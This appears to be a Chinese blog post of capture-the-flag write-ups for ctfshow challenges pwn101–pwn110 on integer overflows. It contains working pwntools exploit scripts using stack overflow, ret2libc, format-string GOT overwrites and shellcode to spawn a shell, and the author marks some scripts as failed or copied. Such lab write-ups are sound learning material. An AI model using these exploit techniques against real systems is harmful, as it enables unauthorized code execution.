ctfshow:整数安全pwn101~pwn110


pwn101(先学点东西吧)


64位保护全开

v4和n0x7FFFFFFF都有初始值,他说输入2个整数,英文真的一开始没看懂

(unsigned int)__isoc99_scanf(“%d %d”, &v4, &n0x7FFFFFFF) == 2

这一句就是把返回值转化为无符号整型然后与2做比较

接下来判断我们的输入是否等于初始值,就会执行gift()直接拿到flag


useful就是给我们学习的信息

from pwn import *
context.log_level = 'debug'
#p=process('./pwn100')
p=remote('pwn.challenge.ctf.show',28260)

p.sendlineafter(b'Enter two integers: ',b'2147483648 2147483647')
p.interactive()


pwn102(还是简单的知识)


64位保护全开

就是输入v4=-1就可以,注意,输入的是unsigned int

范围是0~0xffffffff

我们直接输入-1


pwn103(看着好像还是不难)


想要拿到flag的条件是

(unsigned __int64)dest > 0x1BF52   //114514

想要进入这个判断就需要n<=80

哪个英文的意思是输入数据长度最多80也就是0x50,可以直接输入0x50

然后会让我们输入dest

但是注意一个地方

src = 0;
memcpy(dest, src, n);


这个函数从src这个地址拷贝东西,但是这个地址为null,以为就是如果n!=0就会提前崩掉

from pwn import *
context.log_level = 'debug'
#p=process('./pwn100')
p=remote('pwn.challenge.ctf.show',28266)

p.sendlineafter(b'Enter the length of data (up to 80): ',b'0')
p.sendlineafter(b'Enter the data: ',b'0')
#p.sendlineafter(b'Enter the data: ',b'114515')
p.interactive()

pwn104

有什么是可控的?

64位开了nx

我们看到that

应该是要想办法覆盖返回地址,我们可以直接控制nbytes

让其缓冲区溢出


缓冲区溢出需要0x0e+8

from pwn import *
context.log_level = 'debug'
#p=process('./pwn100')
p=remote('pwn.challenge.ctf.show',28106)

p.sendlineafter(b'How long are you?\n',b'30')
payload=b'a'*(0x0e+8)+p64(0x40078D)
p.recvuntil(b'Who are you?\n')
p.sendline(payload)
p.interactive()

pwn105

看着好像没啥问题


32位开了NX

main函数里面的read刚好把buf填满,看起来很危险

跟进ctfshow(buf)


对于这个函数来说,我们可以控制s让dest越界


有后门可以跳转执行


一样的可以实现栈溢出,但是ctfshow里面还有条件

n3 = strlen(s);
if ( n3 <= 3u || n3 > 8u )

我们要绕过这个条件,这里就有一个整形溢出

n3是unsigned __int8,只能存八位,1111 1111就是最大的数字,0~255,256是1 0000 0000,也就是strlen返回0,257返回1,我们要让他返回3-8之间的数,就可以是256+4=260

所以我们的payload长度设置成0x104

from pwn import *
context.log_level='debug'
p=remote("pwn.challenge.ctf.show",28153)
#p=process("./pwn105")
payload=(b'a'*(0x11+4)+p32(0x804870E)).ljust	(0x104,b'a')
p.sendlineafter("[+] Check your permissions:",payload)
p.interactive()

pwn106

还是非常简单


一来就看到后门,需要ret2


看了看main主要跟进login(p_argc)


让你输入用户名和密码,返回一个整数,跟进check_passwd(buf)


其实这次条件还是没有变,我们想要栈溢出就必须通过

n3 = strlen(s);
  if ( n3 > 3u && n3 <= 8u )

也就是s的大小是0x104个字符

s其实是从login()里面来,输入密码的时候把payload传进去就行

read(0, buf, 0x199u);
return check_passwd(buf);


整数溢出+栈溢出

from pwn import *
context.log_level='debug'
p=remote("pwn.challenge.ctf.show",28222)
#p=process("./pwn106")
p.sendlineafter('Your choice:',str(1))
p.sendlineafter('Please input your username:',b'faetong')
payload=(b'a'*(0x14+4)+p32(0x8048919)).ljust	(0x104,b'a')
p.sendlineafter("Please input your passwd:",payload)
flag=p.recvuntil('\n')
print(flag)
p.interactive()

pwn107

类型转换


没有找到后门

这里会经过一个getch(nptr, 4)让我们输入字符,然后用atoi()进行转换

跟进getch


这个for循环本身没有退出条件,循环体内部的判断可以利用

!char || char == 10 || i >= n4

我们输入的?char满足其中一个条件或者i>=n4,n4是4,也就是循环到第5次

函数最后返回的是nptr[i]的地址,如果第一次就跳出循环,nptr[0] = 0

但是仔细观察有一个很奇怪的地方,main函数中的n4是int类型的变量而getch函数里面n4是unsigned int,

注意看到show函数下面还有一个if

我们肯定是要程序继续执行,所以n4<=32,就是atoi(nptr)<=32

程序会再次getch(nptr, n4);

此时n4经历了类型转换,我们如果一开始输入负数就可以造成整数溢出绕过长度限制

试试

果然是绕过来了,接下来我们可以re2libc了,利用printf来泄露libc

偏移是0x2c+4

from pwn import *
from LibcSearcher import LibcSearcher
context.log_level='debug'
p=remote("pwn.challenge.ctf.show", 28222)
#p=process("./pwn107")
e=ELF("./pwn107")
printf_got=e.got['printf']
printf_plt=e.plt['printf']
show_addr=e.symbols['show']

payload=b'a'*(0x2c+4)+p32(printf_plt)+p32(show_addr)+p32(printf_got)
p.sendlineafter("read? ",b'-1')
p.sendline(payload)
printf_leak=u32(p.recvuntil('\xf7')[-4:])
print(f'leak={hex(printf_leak)}')
libc=LibcSearcher("printf",printf_leak)
base=printf_leak-libc.dump("printf")
system=base+libc.dump("system")
binsh=base+libc.dump("str_bin_sh")
payload2=b'a'*(0x2c+4)+p32(system)+p32(show_addr)+p32(binsh)
p.sendlineafter("read? ",b'-1')
p.sendline(payload2)
p.interactive()

pwn108

学累了吧,来玩个游戏


保护全开,玩个毛线游戏

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  int i; // [rsp+8h] [rbp-28h]
  int j; // [rsp+Ch] [rbp-24h]
  __int64 v6; // [rsp+10h] [rbp-20h]
  _BYTE v7[3]; // [rsp+25h] [rbp-Bh] BYREF
  unsigned __int64 v8; // [rsp+28h] [rbp-8h]

  v8 = __readfsqword(0x28u);
  sub_9BA();
  sub_A55(a1, a2);
  puts("Free shooting games! Three bullets available!");
  printf("I placed the target near: %p\n", &puts);
  puts("shoot!shoot!");
  v6 = sub_B78();
  for ( i = 0; i <= 2; ++i )
  {
    puts("biang!");
    read(0, &v7[i], 1u);
    getchar();
  }
  if ( (unsigned int)sub_BC2(v7) )
  {
    for ( j = 0; j <= 2; ++j )
      *(_BYTE *)(j + v6) = v7[j];
  }
  if ( !dlopen(0, 1) )
    exit(1);
  puts("bye~");
  return 0;
}


让人看着很烦的main函数

printf("I placed the target near: %p\n", &puts);

这里直接泄露了puts的真实地址,泄露libc

我们跟进v6 = sub_B78();

__int64 sub_B78()
{
  char nptr[24]; // [rsp+0h] [rbp-20h] BYREF
  unsigned __int64 v2; // [rsp+18h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  sub_AE3(nptr, 16);
  return atol(nptr);
}


unsigned __int64 __fastcall sub_AE3(char *nptr, int n16)
{
  int i; // [rsp+18h] [rbp-18h]
  unsigned __int64 v5; // [rsp+28h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  for ( i = 0; i < n16; ++i )
  {
    if ( (unsigned int)read(0, nptr, 1u) == -1 )
      exit(1);
    if ( *nptr == 10 )
      break;
    ++nptr;
  }
  return __readfsqword(0x28u) ^ v5;
}

就是可以向nptr中输入一个地址

直接关系到的是main中这一段代码

if ( (unsigned int)sub_BC2(v7) )
  {
    for ( j = 0; j <= 2; ++j )
      *(_BYTE *)(j + v6) = v7[j];
  }

可以修改3个字节

我们跟进sub_BC2,发现有一些东西不能写入

禁止写入 当:
  (a1[0] == 0xC5 && a1[1] == 0xF2)
|| (a1[0] == 0x22 && a1[1] == 0xF3)
|| (a1[0] == 0x8C)
|| (a1[1] == 0xA3)

结合main中的代码,意思是只检查了前两个字节

其实前面的东西比较清楚,我们能够控制v6,v7[j],而且还有libc可以泄露,完全可以做到地址任意写,就是最后那个限制有点懵

其实是限制的gadget,我们确实可以像wp里面用gadget-5来绕过,它会继续执行

但是关于exit hook那一大串调用链我是真的看不懂TAT

下面就是glibc在处理的真实链子

exit
 └─ glibc/stdlib/exit.c
     └─ __run_exit_handlers
         └─ _dl_fini
             └─ call [_dl_rtld_lock_recursive]


1、leak

from pwn import *
from LibcSearcher import LibcSearcher
context.log_level='debug'
p=remote("pwn.challenge.ctf.show", 28211)
#p=process("./pwn107")
e=ELF("./pwn108")

p.recvuntil("0x")
puts_leak=int(p.recvuntil('\n'),16)
print(f'puts_leak={hex(puts_leak)}')
0x4f29e execve("/bin/sh", rsp+0x40, environ)
constraints:
  address rsp+0x50 is writable
  rsp & 0xf == 0
  rcx == NULL || {rcx, "-c", r12, NULL} is a valid argv

0x4f2a5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  address rsp+0x50 is writable
  rsp & 0xf == 0
  rcx == NULL || {rcx, rax, r12, NULL} is a valid argv

0x4f302 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL || {[rsp+0x40], [rsp+0x48], [rsp+0x50], [rsp+0x58], ...} is a valid argv

0x10a2fc execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL || {[rsp+0x70], [rsp+0x78], [rsp+0x80], [rsp+0x88], ...} is a valid argv


但是真的不太一样啊,就用wp里面的先跑个flag吧


2、give up了

from pwn import *
context(arch='amd64',os='linux',log_level='debug')
#io = process('./pwn')
io = remote('pwn.challenge.ctf.show',28294)
elf = ELF('./pwn108')
libc = ELF('/home/faetong/glibc-all-in-one/libs/2.27-3ubuntu1.5_amd64/libc-2.27.so')
io.recvuntil('0x')
puts_addr = int(io.recv(12),16)
libc_base = puts_addr - libc.sym['puts']
strlen = libc_base + 0x3eb0a8
sss = str(strlen)
io.sendline(sss)
one_gadget = libc_base + 0xe54fe
for _ in range(3):
	io.sendlineafter("biang!\n", chr(one_gadget & 0xff))
	one_gadget = one_gadget >> 8
io.interactive()


实是2.27的libc,可以用glibc_all_in_one下载


pwn109


ida打开有点小乱,找找main

int __cdecl sub_90B(int a1)
{
  int p_n2; // [esp+0h] [ebp-40Ch] BYREF
  char buf[1024]; // [esp+4h] [ebp-408h] BYREF
  int *v4; // [esp+404h] [ebp-8h]

  v4 = &a1;
  sub_73B();
  sub_7A2();
  while ( 1 )
  {
    while ( 1 )
    {
      puts("What you want to do?\n1) Input someing!\n2) Hang out!!\n3) Quit!!!");
      __isoc99_scanf("%d", &p_n2);
      getchar();
      if ( p_n2 != 2 )
        break;
      sub_8E4(buf);
    }
    if ( p_n2 == 3 )
      break;
    if ( p_n2 == 1 )
      sub_8A4(buf, 0x400u);
    else
      printf("What do you mean by %d", p_n2);
  }
  puts("See you~");
  return 0;
}

这个应该就是main函数

这是一个菜单

跟进输入一的sub_8A4(buf, 1024u)

先打印了buf的地址,然后我们可以输入1024字节,好像刚好填满buf

跟进输入2的printf_w(buf)


调用了printf,好像有格式化字符串,我们可以试试


确实可以,偏移是16


1、菜鸡的做法失败了

这样我们可以通过漏洞将printf_got替换为system

首先泄露libc

应该也是2.27

试了一下,没有打通,还是把脚本放出来是师傅们指点一二(我真菜)

from pwn import *
from LibcSearcher import LibcSearcher
context(arch='i386',os='linux',log_level='debug')
#p = process('./pwn109')
p = remote('pwn.challenge.ctf.show',28256)
elf = ELF('./pwn109')
libc=ELF("/home/faetong/glibc-all-in-one/libs/2.27-3ubuntu1.6_i386/libc-2.27.so")
printf_got=elf.got["printf"]
payload1=p32(printf_got)+b'%16$s'
p.sendlineafter("3) Quit!!!\n",str(1))
p.recvline()
p.sendline(payload1)
p.sendlineafter("3) Quit!!!\n",str(2))
printf_leak=u32(p.recv(4))
print(f'printf_leak={hex(printf_leak)}')
#libc=LibcSearcher("printf",printf_leak)
#base=printf_leak-libc.dump("printf")
#system=base+libc.dump("system")
base=printf_leak-libc.symbols["printf"]
system=base+libc.symbols["system"]
payload2=fmtstr_payload(27,{printf_got:system})
p.sendlineafter("3) Quit!!!\n",str(1))
p.recvline()
p.sendline(payload2)
p.sendlineafter("3) Quit!!!\n",str(1))
p.recvline()
p.sendline(b'/bin/sh\x00')
p.sendlineafter("3) Quit!!!\n",str(2))
p.interactive()


2、shellcode


这个的话其实更简单,就是直接在栈上写好shellcode利用格式化字符串把mian函数的地址改成栈地址,我好蠢TAT

from pwn import *
context(arch='i386',os='linux',log_level='debug')
#p = process('./pwn109')
p = remote('pwn.challenge.ctf.show',28256)
elf = ELF('./pwn109')
shellcode=asm(shellcraft.sh())
printf_got=elf.got['printf']
p.sendlineafter("3) Quit!!!\n",str(1))
buf_leak=int(p.recvuntil(b"\n").strip(), 16)
ret=buf_leak+0x41c
payload1=fmtstr_payload(16,{ret:buf_leak})
p.sendline(payload1)

p.sendlineafter("3) Quit!!!\n",str(2))
p.sendlineafter("3) Quit!!!\n",str(1))
p.recvline()
p.sendline(shellcode)
p.sendlineafter("3) Quit!!!\n",str(3))
p.interactive()


这0x41c我也不知道怎么来的

pwn110

溢出溢出溢出


啥都没有开,没有system和/bin/sh

像是有一个输入和循环输出

跟进input函数

unsigned __int16 *input()
{
  __int16 p_n1024; // [esp+Ah] [ebp-41Eh] BYREF
  _BYTE buf[1025]; // [esp+Dh] [ebp-41Bh] BYREF
  unsigned __int16 p_n1024_1; // [esp+40Eh] [ebp-1Ah] BYREF

  strcpy(buf, "???");
  memset(&buf[4], 0, 1021);
  __isoc99_scanf("%hd", &p_n1024);
  if ( p_n1024 > 1024 )
  {
    puts("You are soooooooooo ******");
    exit(0);
  }
  p_n1024_1 = p_n1024;
  printf("%x %u\n", buf, (unsigned __int16)p_n1024);
  read(0, buf, p_n1024_1);
  qmemcpy(
    str,                                        // "WTF?"
    buf,
    0x400u);
  unk_804B460 = buf[1024];
  return &p_n1024_1;
}

p_n1024是int16,但是p_n1024_1是unsigned __int16,会发生整数溢出

输入的p_n1024要小于1024,我们可以输入-1绕过判断,buf应该会溢出并且打印栈地址,于是我们可以把shellcode写在栈上,溢出后跳转到栈执行


溢出大小是0x41b+4

from pwn import *
context(arch='i386',os='linux',log_level='debug')
#p = process('./pwn109')
p = remote('pwn.challenge.ctf.show',28280)
elf = ELF('./pwn110')
shellcode=asm(shellcraft.sh())
offset=0x41b+4
p.recvuntil('\n')
p.sendlineafter("1+1= ?",str(-1))
leak=int(p.recvuntil(b' '),16)
#print(hex(leak))

payload=shellcode.ljust(offset,b'a')+p32(leak)
p.sendline(payload)
p.interactive()
呜呜呜

评论

  1. 我是小东西
    Windows Edge
    2 月前
    2026-3-11 13:20:54

    师傅,pwn109的0x41c有头绪了吗,教教我

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇